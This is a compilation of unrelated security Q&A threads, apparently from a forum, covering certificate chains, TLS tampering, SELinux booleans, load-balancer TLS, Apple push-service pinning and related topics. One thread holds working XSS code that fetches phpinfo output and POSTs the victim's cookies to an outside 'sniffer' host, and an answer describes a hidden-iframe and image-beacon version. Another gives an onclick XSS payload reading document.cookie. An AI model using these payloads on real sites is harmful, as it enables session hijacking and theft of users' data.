How to get hold of intermediate certs programatically? I'm building a script that catalogues the use of public intermediate and root certificates, given a site's public certificate, so I need to get hold of the certificates programatically. Sometimes these may be bundled with the server responses, but other times they may need fetching, or extracting from a CA cert file. I often see the certs listed in the output from tools like testssl.sh and openssl s_client and https://whatsmychaincert.com, but I'm not clear how I can get at the same thing and extract them reliably, ideally in PEM format. Can anyone suggest how best to do this?

You can use openssl s_client to capture the certificate chain from a given web site, and (with the -showcerts option) it will helpfully identify the (s)ubject and (i)ssuer for each certificate.  If the root is not included, then you should be able to find it in your local certificate store.

Here is some example output from openssl s_client, with the meat of the actual certificates trimmed (...) for brevity:

$ echo "" | openssl s_client -showcerts -connect www.google.com:443
CONNECTED(00000003)
---
Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
   i:/C=US/O=Google Inc/CN=Google Internet Authority G2
-----BEGIN CERTIFICATE-----
MIIEgDCCA2igAwIBAgIIRLhIyqBaCIMwDQYJKoZIhvcNAQELBQAwSTELMAkGA1UE
...
segXWw==
-----END CERTIFICATE-----
 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
-----BEGIN CERTIFICATE-----
MIID8DCCAtigAwIBAgIDAjqSMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVT
...
wSHGFg==
-----END CERTIFICATE-----
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
-----BEGIN CERTIFICATE-----
MIIDfTCCAuagAwIBAgIDErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVT
...
b8ravHNjkOR/ez4iyz0H7V84dJzjA1BOoa+Y7mHyhD8S
-----END CERTIFICATE-----
---
Server certificate
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
issuer=/C=US/O=Google Inc/CN=Google Internet Authority G2
---

The first certificate in the chain (0) shows you it's subject and issuer.  As you can see, the subject for the second certificate (1) is the same as the issuer for (0), and the issuer for (1) is the subject for (2).  The issuer for (2) is the root certificate, which is not included.  (It is accepted, but not required, to include the root in the chain; as the purpose of the root is to be a locally stored "trusted" copy, software should never "trust" the root handed to it by a web server.  That said, I have seen (non-browser) software which broke if the root was not included in the chain, so it does happen).

On a Linux system, you can track down the root certificate in the /etc/ssl/certs directory, either as an individual file or as part of a large file such as ca-certificates.crt (Ubuntu) or ca-bundle.crt (Red Hat).  You can use openssl x509 -noout -subject -in filename where filename is a single certificate file to get the Subject of each certificate; comparing those to what you extracted from the certificate chain above will allow you to track down the server certificate.

(extracting the subjects from all those files, or exploding the bundle into a number of files and extracting subjects from them, is a medium-complexity Unix scripting challenge left to the reader).

You may find web servers which do not provide the necessary chain.  In such cases, it's usually because the intermediate certs are also commonly distributed by browser vendors, so they can get away with it.

Finally, if you can't track down an issuer cert by any of these methods, try Google-ing the Subject.  If it's a public certificate authority, chances are it's listed somewhere.

Reply to comment:

No, the subject is not guaranteed to be unique - remember, the whole point of x509 certificates is that you have to have a trust chain up to an implicitly trusted root; you know the Subject is good because it was signed by someone you trust.  But by themselves, a subject could be forged if you're not verifying the cert.

So key fingerprints are the best way to uniquely ID a certificate, and you can use openssl x509 to print them given the certificate:

$ openssl x509 -sha256 -noout -in my_cert.crt -fingerprint
SHA256 Fingerprint=DC:5F:B5:98:53:E0:FC:B2:33:7B:8A:CE:64:09:75:76:65:84:A0:8C:2F:B1:D4:01:6D:1F:70:04:C6:0E:23:69
$


Data anonymization/ encryption requirement I did check out the previous postings and didnt find what I was looking for- apologies if this is a repetition.

I am working on an analytics engagement for a customer and he needs to share access to his customer sales transactions for me to do my work. The idea was to create a encryption routine whereby details such as SSN and Zip would be anonymized so that I wouldnt have access to PII data. When I present the findings, he needs to have the ability to see the original data back from the garbled text I work with.

From a definition perspective, I understand masking/ obfuscation would hide the details and possibly impact referential integrity. I read on tokenization and believe it is quite a complex model. I am probably missing a nuance here...

I really don't care for the process time for encrypt/ decrypt- that is not relevant and processing cost can be ignored. Just need a way for
SSN : 123-45-6789 to be encrypted consistently to say, A467YuGHT, so I can work unimpeded and the customer is comfortable that no data that he has shared with me violates customer PII. When I submit a report stating that A467YuGHT is a potential churn, he deciphers it back to 123-45-6789  [there are too many such PIIs for me to create alternate identifiers]

I was thinking of a private key(which customer retains) /public key to do this- Am I missing something here? Any open source tool that does this

I understand your issues, but one of the fundamental maxims of cryptography is that you shouldn't reinvent the wheel and create your own encryption algorithm, primarily because it will be nowhere near as secure as an established one.

Is this data going to be accessible over the Internet or transmitted over unencrypted channels? If the answer to either of those is yes, the risk factor rises exponentially. If you use your own home-baked efforts at obfuscation, all it takes is a determined hacker to find this out and they will have all of your SSN details.

How could they find it? What if you customer leaves something lying around telling him how to decrypt? What if your email gets hacked? What if you server isn't as secure as you thought it was?

You really need a solution where if any of those things happen an adversary still couldn't decrypt the data, and really that only comes with established public-key infrastructure. Sure there are ways to defeat that, but unfortunately the reality is that they are a lot more difficult than it would be to compromise a home-grown encryption algorithm.


Can TLS defeat the manipulation of TCP sequence numbers? Assuming there is a powerful adversary who can arbitrarily manipulate the sequence number of each tcp packet, then the following packet-reorder attack should be possible, right?
Assuming the packet the attacker wants to disorder has the tcp sequence number n, he first allows the n+1, n+2, ..., n+m packets to be sent out but modifies the sequence-number fields to use numbers n, n+1, ..., n + m -1. Finally, the attacker uses the sequence number n+m to send the detained packet.
Is the attack still possible when TLS/SSL is used?

An attacker who can fake the TCP stream (reorder, erase, duplicate packets, or flip arbitrary bits of payload and fix up the crc) will cause received TLS record messages (chunks of up to 16KB of cleartext, encrypted and MAC'd pr MAC'd and encrypted or AEAD'd) which fail to verify the MAC. The receiving side will discard the last TLS record and close the connection when the MAC fails to verify. This is the most basic protection against active attacker in a secure communication protocol.
Tampering with the cleartext handshake messages is protected by the Finished message which has a MAC of the transcript of the entire handshake - if the handshake was tampered with, the Finished message will be wrong and the other side will close the connection.
Attacks against TLS are much more sophisticated than that. You should read up on them before trying to invent your own.


Do certificates contain private keys or other sensitive data? Generally speaking, are certificates always non-sensitive? In the form of x509 certs, it's really just a public key and some metadata right?
I see some things that call "certificates" the combination of the x509 public key certificate and the private key. But that's not really a certificate at that point (PKCS#12) right? That's more of a "bundle"?
Am I missing something, or is the word "certificate" maybe misused at times? Thanks in advance!

This depends on what is considered sensitive. And this depends on the context.  For example it might already be considered sensitive information which domains are listed as subject alternative names in the certificate. Some of these domains might be already known by whoever views the certificate while others might be interesting new information, like maybe internal names.


SSL Bit Length History Sometimes I see web pages advertising a site's support for SSL with a given bit length (commonly 128), and saying that visitors need certain browsers that support this.  Is 128-bit SSL common now, or have we moved beyond this?  What is browser support like for SSL with different key lengths, and how has it changed over time?  Was there a race for SSL key length support similar to the current race for HTML5 compliance and JavaScript performance?

In SSL/TLS, the client and the server negotiate the use of a cipher suite which they both support. The cipher suite defines which cryptographic algorithms will be used; in particular, this defines the key length for encryption.

In Days of Yore (circa 1996), regulations about usage and distribution of cryptography were not the same than today; in particular, USA had strict export regulations, limiting the size of keys that software could manage, if said software was to be distributed beyond the USA borders. There were cipher suites with 40-bit keys (so-called "export cipher suites", allowed for general export), cipher suites with 56-bit keys (using the DES algorithm), which could be exported to a handful of "friend countries", and some cipher suites with bigger keys (128 or 168) which could not, theoretically, be exported.

Therefore the first crop of SSL-aware Web browsers could do SSL, but often not with 128-bit keys.

In 2000, the US regulations were lifted. Around the same time, similar regulations in various other countries were also removed or lightened; the general goal was to allow OS and browser vendors to distribute software with support for 128-bit encryption, in a worldwide way. When a site was configured to support only cipher suites with 128-bit keys (or longer), it became customary to add an explicit notice to that effect, just in case the client still uses a browser from the pre-2000 era, never updated. (Of course, a browser which has not been updated in 13 years is likely to induce some other, more serious security issues.)

Browsers and operating systems which do not support 128-bit cipher suites may still be encountered in some countries which exercise forms of democracy where the demo does not cracy much in practice.

Keys longer than 128 bits are useless. 128 bits are already quite enough to ensure that the key length is not a practical weakness (not now, not in 40 years either). Bigger numbers have some appeal on the unaware, who just assume that longer keys are better "generically"; but even though marketing departments are readily using such arguments, this is scientifically unsubstantiated. There are cipher suites in TLS with 256-bit keys; they are handy to placate administrations which have become prey to such illusions.


Difference between SELinux booleans "httpd_can_network_relay" and "httpd_can_network_connect" I'm in the process of enabling SELinux on my CentOS 7.3 server. I have it set in permissive mode and monitoring the audit log for denials. I'm looking to implement the minimal set of rules that will allow all that is needed on the server and no more.

So this morning I noticed that httpd would have been blocked from connecting to the network when I used WordPress's FTP update feature last night. audit2why recommends setting either httpd_can_network_relay or httpd_can_network_connect.

I just want to make sure I'm understanding the difference between these two correctly. Would it be accurate to say that httpd_can_network_connect allows httpd to make any outgoing network connection it wishes, whereas httpd_can_network_relay allows only the FTP port and ephemeral ports?

audit2why says:

# setsebool -P httpd_can_network_connect 1
Description: Allow httpd to act as a relay

# setsebool -P httpd_can_network_relay 1
Description: Allow httpd to act as a FTP client connecting to the ftp port and ephemeral ports

If so, how would it go about defining what the ephemeral ports are, or would it just allow anything over 1024?

Is there some more detailed reference on all this that I'm missing?

Update

I misread the order of comments to commands, the above should read:

Description: Allow HTTPD scripts and modules to connect to the network using TCP.
# setsebool -P httpd_can_network_connect 1

Description: Allow httpd to act as a relay
# setsebool -P httpd_can_network_relay 1

As Enigma says:

  The first option [httpd_can_network_relay] is used in an reverse proxy
  scenario in which your httpd is relaying requests to some backend
  httpd in behalf of the client.

As for httpd_can_network_connect, it allows httpd to make network connections, including scripts and modules.

Basically the output from audit2why is formatted in a strange way that made it hard to tell which description matched which boolean, hence the weird question based on that. I updated the question with the correct interpretation of that.


What's the use of certificate on Load Balancer and Keystore on Service? Consider a scenario where my service is using a keystore made of self signed cerificate and the load balancer which is balancing traffic for service is binded with a CA approved certificate. I would like to know when communication starts between Client, who responds to client with the certificate ? will Service respond with self signed certificate or Load balancer with CA certificate ?

I would like to know how communication will work between client-loadBalancer and loadBalancer-server ? Which of them is secured ?

Terminating HTTPS (presumably, you didn't state which protocol) on the load balancer has many advantages, a subset relevant here:

request inspection, protocol clean up/enforcement, URL restrictions and WAF capability
reply inspection, DLP capability
inspection of cookies/URLs for server assignment and session stickiness
(probably) common TLS session cache, hardware assisted RSA and symmetric cipher support

If you don't terminate TLS on the load-balancer, you will not have any inspection capability, and you will have limited session assignment options.

Using a certificate on the back-end (content/application) servers as well has some advantages:

the content/application back-end server uses the same protocol as the client, this can have an effect on the generation of absolute URLs, and change the behaviour of some protocol aware systems (e.g. OWA, but there are workarounds for this)
development and testing is usually easier if everything uses one protocol
you can keep everything in the front-end DMZ encrypted, which may be required by security policy
if there is no front-end DMZ (i.e. your load-balancer is outside your perimeter firewall) then this configuration is almost certainly required

and at least one disadvantage:

TLS overheads (mostly RSA key generation). On a trusted network it may be acceptable to use shorter RSA keys or quicker (less robust) symmetric ciphers though. Persistent connections or longer session times mitigate also.

In the general case, load-balancing or reverse-proxying is simplest when both the front-end and the back-end server use the same protocol (URI scheme), host name, port and URI path. This simplifies or eliminates the need for rewriting of headers, content, cookie paths, error messages etc.

The clients will (should) only see the public CA certificate on the front-end (load balancer). You can use a no-cost self-signed certificate on the back-end web server(s). There's usually no reason you cannot also use the same commercial CA certificates here too, though some CAs used to require a "licence" to use a certificate on more than one device.

All connections will be encrypted from client to load-balancer, and again from load-balancer to back-end server.
See also: Should SSL be terminated at a load balancer?


Is Apple's push notification service implementation vulnerable to a MitM attack Recently(more info) I've spotted a strange message in the logs on my quite recent, fresh installation of OS X Mavericks 10.9.2

Apr 27 15:26:47 Ivans-MacBook-Pro.local apsd[194]: Unrecognized leaf certificate

It appears every 15 minutes or so. I've googled it and there are many other users that pasted their logs(many times not even related with that issue) on net that had that message. It seems it is appearing for at least half a year now.

apsd is a constantly running Apple Push Notification service daemon

and it connects to one of the following servers on random:

1-courier.push.apple.com
2-courier.push.apple.com
3-courier.push.apple.com
4-courier.push.apple.com
.
.
.
200-courier.push.apple.com

on port 5223 (custom, but SSL)

every so often(to check for updates I guess)

Trying: https://1-courier.push.apple.com:5223 in the browser however shows that there is an issue related to the server certificate. Namely "This certificate is not valid(host name mismatch)". Which I suppose is because Apple did not create a certificate including a wildcard in the common name.
However using Wireshark I see that the communication between apsd and Apple's server continues. I though, that can't possibly be right. Is apsd ignoring the validity check?!

I then tried to perform a man in the middle attack using a self signed certificate. And this is what I got in the logs:

Apr 27 15:42:07 Ivans-MacBook-Pro.local apsd[194]: CFNetwork SSLHandshake failed (-9807)
Apr 27 15:42:07 Ivans-MacBook-Pro.local apsd[194]: Failed to evaluate trust: No error. (0), result=5; retrying with revocation checking optional
Apr 27 15:42:07 Ivans-MacBook-Pro.local apsd[194]: failed to evaluate trust: No error. (0), result=5; retrying with system roots
Apr 27 15:42:07 Ivans-MacBook-Pro.local apsd[194]: Failed to evaluate trust: No error. (0), result=5
Apr 27 15:42:07 Ivans-MacBook-Pro.local apsd[194]: Untrusted peer, closing connection immediately

It's also worth noting that I've spotted(when observing the actual traffic with Wireshark) that the server requires the client to send his certificate.
And apsd sends:

Subject Name
Common Name XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX (UUID)

Issuer Name
Country US
Organization Apple Inc.
Organization Unit Apple iPhone
Common Name Apple iPhone Device CA
.
.
.

It's strange that Mac OS X is sending what appears to be a public key presenting it self as iPhone? I do have Xcode installed, if it is somehow related to maybe having iPhone simulators installed. But I'm getting the mentioned log message all the times, regardless if Xcode is running or not. And evidently others are too, judging from the logs on the internet.

So what is going on?
How is apsd able to figure out my fake certificate and pass theirs?
Is something wrong here?
Note: My MitM implementation is quite simple, with DNS spoofing I give apsd a response that X-courier.push.apple.com is 127.0.0.1. I then listen with a self signed certificate that mimics Apple's server certificate(country, organization, common name...). BUT I did not implement requiring the client certificate from apsd. So I don't yet know if that is somehow related to my failed MitM. Could it be?

Are you guys there on Mac OS X getting the same log message in your Console(It appears in 'All messages' just when you launch it, but is actually in system.log), type 'leaf' in the search box...

UPDATE:
I've implemented requesting the client for its certificate. It's the same(SSLHandshake failure/Failed to evaluate trust). So apsd is checking something, I'm just not too sure it's implemented in the right way. Hopefully someone with far more experience will look into this...

I don't have too much time now and haven't verified this thoroughly, so this is only what I remember from looking into this a few months ago.

With OS X 10.9 and iOS 7, Apple introduced some sort of certificate pinning for the push service, i.e. not allowing any CA the system knows to sign their push server certificate, but only a specific CA. This certificate pinning was a bit strange as it had some sort of expiration date of January 1st 2014, but I didn't look too much into what exactly that means and I don't know whether the latest versions of OS X and iOS still include this.

  Unrecognized leaf certificate

So from my current understanding, this message doesn't mean apsd can't verify the certificate at all, but might mean the certificate pinning couldn't verify it (which would mean certificate pinning is currently optional, which in turn might have to do with the expiration date).

You might not have to worry about this directly, as the normal SSL certificate validation still works (as your test confirms). On the other hand I'd love to know why certificate pinning apparently doesn't work and what the expiration date means.

UPDATE: Here's some more information on why the log message is shown.

You can display the server certificate using openssl (same certificate seems to be served on ports 443 and 5223):

openssl s_client -prexit -connect 1-courier.push.apple.com:5223  2>/dev/null | openssl x509 -noout -text |grep -E '(Subject.*CN|Serial)'

As of 2014-05-10, this shows the following information:

Serial Number: 1277288244 (0x4c21df34)
Subject: C=US, ST=California, L=Cupertino, O=Apple Inc., CN=courier.push.apple.com

The apsd binary contains several X.509 certificates used for certificate pinning. I wrote a script to find certificates in a binary. Here's an excerpt when running it on apsd:

+ 469280 Found cert with CN "courier.sandbox.push.apple.com" and serial "1277027356"
+ 470416 Found cert with CN "courier.push.apple.com" and serial "1276925395"
+ 471584 Found cert with CN "Entrust.net Certification Authority (2048)" and serial "946059622"
[skipping some code signing certificates]

As you can see, the pinned certificate for courier.push.apple.com has a different serial number than the one served by Apple's push server. So both are different certificates and apparently this is the reason for the Unrecognized leaf certificate log message you see. As apsd still connects to the server, this means apsd does not require a pinned leaf certificate to match.

Another thing you can see is the third certificate, a CA certificate. Last year, when trying to make apsd connect to pushproxy, I had to replace the CA certificate to make apsd trust pushproxy. This means, while not checking the leaf certificate, apsd might only allow certificates from a certain root CA. I didn't verify this recently.

For checking this thoroughly, besides checking whether CA certificate pinning for the SSL connection is still effective, one would have to check another thing.
Before connecting to the push server, apsd downloads a 'configuration bag'. This bag is downloaded via HTTP, but signed. The bag contains the hostname apsd then tries to connect to. This is a way I'm using for pushproxy to redirect apsd to another host. You can find more information about the bag in the pushproxy README and a script to generate such a bag.


Need help writing code to brute-force a password that I partially forgot I am trying to generate a password list to retrieve a password I have forgotten. The task is fairly simple, but I had no chance to find a solution on Google. So here is the problem:

I know the password consists of several words (without spaces), and I know the exact word order:

word1word2word3word4word5

Then there might be an exclamation mark at the end (!):

word1word2word3word4word5(AND/OR!)

Next thing, I know there are some underscores (_) in some places, but I don't know exactly where. So how could I generate a password list containing all the following possibilities:

word1(AND/OR_)word2(AND/OR_)word3(AND/OR_)word4(AND/OR_)word5(AND/OR !)

I am pretty sure programs such as crunch, hashcat or john the ripper could easily solve this problem, but all variations I have tried have failed, for instance on crunch, one can use specific patterns with a -t argument, but it proved impossible (at least for me) to use a pattern which includes variations (AND/OR underscore...)

No need to re-invent the wheel.

CUPP is your best bet. It's a python script that takes average data about someone, keywords you think are relevant, and even uses LEET mode to turn E's in 3's, etc. This will spit out a password list for you in seconds and you can then run it with your cracking tool of choice.


Why there are uninvited incoming packets to my ADSL connection? To verify this, I boot my PC from Kali Linux live distro.  Before establishing ADSL/PPP connection, I start Wireshark and listen on any pseudo device.  Then I create the connection to ISP network.  Wireshark shows PPP handshake as expected.

Then, suddenly, I see incoming packets.  This is a clean Kali Linux boot. I haven't started browsing or activated any services yet.

For example, I can see an incoming from ip 77.234.45.55 port 80 to my port 10051.  This is what Wireshark shows:

TCP
  Source port: http (80)
  Destination port: 10051
  [Stream index: 0]
  Sequence number: 1 (relative sequence number)
  Acknowledgement number: 1 (relative sequence number)
  Header length: 20 bytes
  Flags: 0x11 (FIN, ACK)
  Window size value: 4824
  [Window size scaling factor: -1 (unknown)]
  Checksum: 0xb6f7 [Validation disabled]

I can see that my IP responds with RST packet.

Another example of incoming packet is UDP from 220.160.203.187 from port 25041 to mine port 18843.  This is what Wireshark shows:

UDP
   Source port: 25041
   Destination port: 18843
   Length: 70
   Checksum: 0xe107 [validation disabled]
[Malformed Packet: BT-uTP]

Wireshark shows that my system responds this packet with an ICMP 3 code 3 packet (Destination Unreachable: Port unreachable).

Another example of incoming packet is:

TCP
   Source port: xmpp-client (5222)
   Destination port: 22784
   [Stream index: 1]
   Sequence number: 1 (relative sequence number)
   [Next sequence number: 27 (relative sequence number)]
   Acknowledgement number: 1
   Header length: 20
   Flags: 0x0x18 (PSH, ACK)
   Window size value: 42243
   [Calculated window size: 42243]
   [Window size scaling factor: -1 (unknown)]
   Checksum: 0x12a4 [validation disabled]
   [SEQ/ACK Analysis]
      [Bytes in flight: 26]

I believe these incoming packets is from legitimate servers.  I can always reproduce this behaviour which result in different incoming packets.  I don't have clue why they sent packets (or redirected) to me.  Is this a normal behaviour in ADSL network?  Should I do something regarding these packets?

ADSL is an "always-on connection to the Internet". If you are getting these packets then it will be a normal behaviour.After doing nslookup the response is

**nslookup 77.234.45.55
Server:     127.0.0.1
Address:    127.0.0.1#53
Non-authoritative answer:
55.45.234.77.in-addr.arpa   name = r-055-045-234-077.ff.avast.com.
Authoritative answers can be found from:
45.234.77.in-addr.arpa  nameserver = s.ns.avast.com.
45.234.77.in-addr.arpa  nameserver = y.ns.avast.com.**

It is obvious that your system is sending RST packets in response because of the system didn't send any request.You need not to worry.
You can also see this post for solving your problem
http://prg-forum-01.avast.com/index.php?topic=9898.0/index.php?topic=9898.0


encrypted lookup-keys for key-value store I'd like to use a key-value store (cassandra, redis, ...), but I don't trust the server.

The clients have a shared secret, and I'm using that to encrypt the stored values. But what is the proper way of encrypting the keys (not the crypto-keys, the key-value store keys)?

The store compares keys in queries, so each plaintext-key must have only one corresponding encrypted-key.
Obviously, if an attacker gets hold of the encrypted-key, it must be as good as impossible to find out the plaintext-key.
Less obviously, if an attacker can guess the plaintext-key, it must be impossible to get the encrypted-key without the secret. I don't want an attacker to be able to confirm if a certain key is present in the key-value store.
Collisions (different plaintext-keys with equal encrypted-key) should be so rare that they cannot be created on purpose by an attacker.

Symmetric encryption with Random initialization vectors or hashing with salts is prohibited by (1). A hash of the plaintext-key without salt does not meet (3).

I see two options:

encrypt with a static IV.
hash(secret || plaintext-key)

The first feels very much like improvising a hash function with a cipher. It would also allow decryption, which I don't need. Edit: Since the IV isn't random, plaintext keys with equal prefix will still have the same prefix in ciphertext, with may allow reasoning about the plaintext.

The later one is storing the hashed secret, but without the usual precautions, such as salting and key stretching. Edit: it is also vulnerable to Length_extension_attacks.

I found the answer. Turns out what I asked for is called a Message Authentication Code or MAC. There are various implementations for it, based on hash functions as well as block ciphers.

HMAC is using hash(key || hash(key || message)) pattern with some additional padding.


are small SOC chips also affected by Meltdown and Spectre? How can I find out, if given CPU is affected by the Meltdown and Spectre bugs ?

My CPU is relatively older, and it is a SOC chip:

AMD GX-412TC SOC

I was not able to find, whether these chips also use speculative execution:

http://www.cpu-world.com/CPUs/Puma/AMD-G-Series%20GX-412TC.html

Yes. Ryan Crosby made a Spectre PoC that attempts to exploit Spectre, and ran it succesfully on a AMD GX-412TC SOC.


Does SAML 2.0 define how to pass username and password for authentication? I'm aware of how SAML is used for single sign on (SSO). That is, redirection to IDP from SP and getting the user's identity from the SAML response/assertion.

My question is: Does SAML 2.0 specification define how to pass username and password as part of a SAML request XML for authentication? Note that I'm not talking about single sign on and just want authentication of username/password.

SAML does not support sending a username and password to the identity provider from the service provider. There is an AuthnRequest (authentication request) that may be sent from the SP, that starts a session at the SP, and tells the IdP, "hey, I don't know who this user is - authenticate them, and then respond back to this location, with the user's identity, and pass me this RelayState to let me know what session to associate the user with."

What you're asking about (a service provider passing a username/password directly to the identity provider and retrieving an assertion) is a function of an STS, or Security Token Service. A very common STS implementation is WS-Trust, which does commonly "wrap" a SAML Assertion token in the response.


Using phpinfo() to get httponly cookies? phpinfo() shows all cookies, even the httponly ones. So the question is - how can I receive a user's cookies on a target website through XSS with phpinfo? The XSS will contain code that will open the phpinfo page in the background (like a popunder) and then using XMLHttpRequest will send the page content to my web sniffer page. The question is - I don't really know how to put this together. I'm seeing in this way:

XSS will contain <script src="http://mywebsite.com/evil.js"></script>
evil.js will open XMLHttpRequest GET to get phpinfo page with cookies data
evil.js will post data to my sniffer

Is this the correct way to do this or is there maybe a more appropriate approach?

I wrote up an example of what I was thinking of:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange= function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {

        var body = encodeURIComponent(xhttp.responseText);
        xhttp.open("POST", 'http://mysniff.ru/t.php', true)
        xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
        xhttp.send(body)

    }
};

xhttp.open("GET", "phpinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();

Will it work if I include this code as a script src? Or must I only urlencode it and pass it to a vulnerable parameter in order to work?

First of all, I assume that you are the owner of the website disclosing the phpinfo, and you ask this for academic purposes.

To achieve what you said, I would do the following :

Create an invisible iframe (0px x 0px)
Store cookies in var x by parsing the iframe content through contentDocument getter/setter
Create an invisible <img/> (0px x 0px) with src set to your sniffer URL
Concat x to the querystring in the src attribute
Add your <img/> to the <body>
(At this point, the browser will try to load the <img/> even if its not a picture)
Read server GET logs on your sniffer

Edit: I did not see that this thread was a 4 years old one ...


XSS with input in onclick attribute If I have...

Would XSS be possible? I mean with > and " filtered out. I know if there wasn't text behind the user input, you could put alert(0), and that would set off when clicked, but I don't know if it's possible with this case.

It's very possible:

texttexttext=function(){};alert(document.cookie);

Would give you execution of your code, regardless of what the string literal is.  You just make it into a unused function - and you execute everything after that.

Edit: plus - you can often use single quotes as a substitute for double quotes.


Using Google Authenticator for SSH sessions So I have an SSH tunnel which I use with dynamic port forwarding to the alternate http port on the client. For initializing this connection, I'd like to implement an additional verification step, preferably phone / SMS verification and the Google authenticator (https://developers.google.com/identity/
) should be the best solution.

How should I start implementing a standalone module that can be used in the authenticator app without having to expose google credentials?

Google Authenticator implements standard protocols such as TOTP (and maybe HOTP), they are not Google-specific nor depend on Google's servers, so using their PAM module isn't related to your Google account and doesn't need an online connection.

If you're like me and don't trust Google you can use an independent PAM module and an independent authenticator app implementing either the HOTP or TOTP protocol (search your phone's App Store).


Is this a remote code execution vulnerability? I am planning to evaluate and install a publicly available software.
https://github.com/opensemanticsearch/open-semantic-search
While reviewing the issues on github, there is an issue open which indicates possible remote code execution for Solr with screenshots.
https://github.com/opensemanticsearch/open-semantic-search/issues/285
I have no idea about security vulnerabilities and hoping this is the correct forum to ask experts.
Do you think this is a security vulnerability and one should avoid using the software until fixed?

Yes, I think it is vulnerable, or there's something wrong anyway. Here's why.
That guy (or girl) is suggesting that his machine has been compromised because of some RCE. We don't know if that's true, or why he's suggesting this. However he says his current Solr version is 7.7.2. That's not the latest version, according to the news on the official website, and several sources report that 7.7.2 is vulnerable to RCE: see cvedetails.com and Reported attack to install miners, for example. It might also be vulnerable to CVE-2019-17558 (another RCE), but that's not clear to me, among other things that are also not clear (for example why the hell the 7.7.x branch was fixed so late, with version 7.7.3 released on April 28th 2020, while the vulnerability was reported in the summer of 2019).
Anyway, why is that guy running an outdated Solr version? He also said that "his current build-deb was taken from the master". So I took a look at the code, and there's a bash script named build-deb. Here's interesting piece of that script:
# if not yet there, download Solr binary release
if [ ! -f "src/solr.deb/usr/src/solr-7.7.2.tgz" ]; then
    mkdir src/solr.deb/usr
    mkdir src/solr.deb/usr/src
    echo "Downloading Solr"
    wget -P src/solr.deb/usr/src/ https://www-eu.apache.org/dist/lucene/solr/7.7.2/solr-7.7.2.tgz
fi

Basically, the current master branch has a script that is used to build a deb file for installation, but some dependencies are actually embedded in the deb file (instead of letting the system take care of them, and use the latest releases from the OS repositories). Note that they are explicitly including Solr 7.7.2 in the installation, which appears to be outdated and vulnerable.
In general, should you use software you find on GitHub? Well, maybe. There's a saying that goes "Given enough eyeballs, all bugs are shallow (hopefully)". But small projects might not attract enough developers to be able to provide enough quality, maintenance, and security. There's no way to know if a small project is secure, unless you take some time to read the code. For bigger projects, on the other hand, while they are not guaranteed to be secure at all, at least it might be easier to find more information, opinions, reviews, or support.


If a firewall deletes DOS packets before they reach the designated application. Is it then possible to break trough the firewall with a DDOS attack? My Question is that if a Firewall blocks for example a DOS attack of UDP packets. Is it then possible to "break" or take up the capacity of a server by sending enough packets trough a DDOS attack? or does the firewall sort and redirect the packets to a dump where the packets does not take up any processing power?

I asked my teacher and he said that in theory it is possible to "overload" a firewall by sending enough of one type of packet(if we limit ourself to that). But it does not seem like it, at least with a classroom worth of processing power spamming a firewall in one PC.

Some firewalls have the option to bypass inspection on high load, i.e. Checkpoint has the option "To bypass IPS inspection under heavy load". Which means if this options is set you could weaken the security using some kind of DOS attack (not necessarily all kind of DOS) which ultimately could lead to security problems.

If no such options is set most firewalls will just slow down and impact traffic this way. This by itself does not directly affect the security but it might be used to hide the real attack in all the log data or to divert the attention from the administrators to the DOS and away from other attacks.


How to generate a MSK from IEEE 802.1X-2010 IEEE 802.1X-2010 states:

"Generate an MSK of at least 64 octets, as required by IETF RFC 3748
[B14] Section 7.10, of which the first 16 or 32 octets are used by
this standard as described in 6.2.2."

RFC3748 states:

"EAP method supporting key derivation MUST export a Master Session Key
(MSK) of at least 64 octets"

But I cannot find anywhere definition - how to get/derive MSK?

MSK
Each EAP method specifies (actually may specify) its own way to derive a MSK.
This means you have to look in the specification of the EAP method you are using in order to know of the MSK is derived.
Relevant wording from RFC3748:

Master Session Key (MSK)
Keying material that is derived between the EAP peer and server
and exported by the EAP method.

Here "exported" means that the EAP method produces the MSK value and make it available to the lower-layer protocol (eg. the Wifi stack).
An example: EAP-TLS
For example, let's look at EAP-TLS. EAP-TLS works by conducting a TLS (≤ 1.2) handshake over EAP.
At the end of a standard TLS handshake, a master secret is generated as:
master_secret = TLS-PRF-48(pre_master_secret, "master secret",
                    client.random || server.random)

This key material is a shared secret between the two TLS peers.
When using TLS for tunneling data, this shared secret is used to [generate)(https://tools.ietf.org/html/rfc5246#section-6.3) secret keys and initialization vectors for encrypting and authenticating (MAC) the data.
In EAP-TLS, this shared secret is instead used to derive the MSK:
Key_Material = TLS-PRF-128(master_secret, "client EAP encryption",
                     client.random || server.random)
MSK          = Key_Material(0,63)

RADIUS
Now, when you are using RADIUS, the Wifi AP needs the MSK in order to derive the keys used to secure Wifi communications. However, the EAP actually happens between the EAPOL supplicant and the RADIUS server: the RADIUS server needs to communicate the MSK to the Access Point.
AFAIU, this is done by using the MS-MPPE-Send-Key and MS-MPPE-Recv-Key attributes from RFC2548 as explained in RFC5216:

The MSK is divided into two halves, corresponding to the "Peer to
Authenticator Encryption Key" (Enc-RECV-Key, 32 octets) and
"Authenticator to Peer Encryption Key" (Enc-SEND-Key, 32 octets).

Enc-RECV-Key = MSK(0,31) = Peer to Authenticator Encryption Key
                  (MS-MPPE-Recv-Key in [RFC2548]).  Also known as the
                  PMK in [IEEE-802.11].
Enc-SEND-Key = MSK(32,63) = Authenticator to Peer Encryption Key
                  (MS-MPPE-Send-Key in [RFC2548])


Can employers log internet traffic of employees personal computers? I have a suspicion that my employer is misusing their work monitoring and remote access software to check my online activity outside of work.

I have the software installed on my personal machine as I occasionally work from home and require remote access to my work PC. I am worried that they are illegally monitoring me, do they have the legal right to do this?

If they were deemed to have been snooping on my records illegally, what would the implications be if proven guilty?

Many thanks in advance.

The question of whether what they're doing is legal will very much depend on the country you are in as laws vary from place to place.

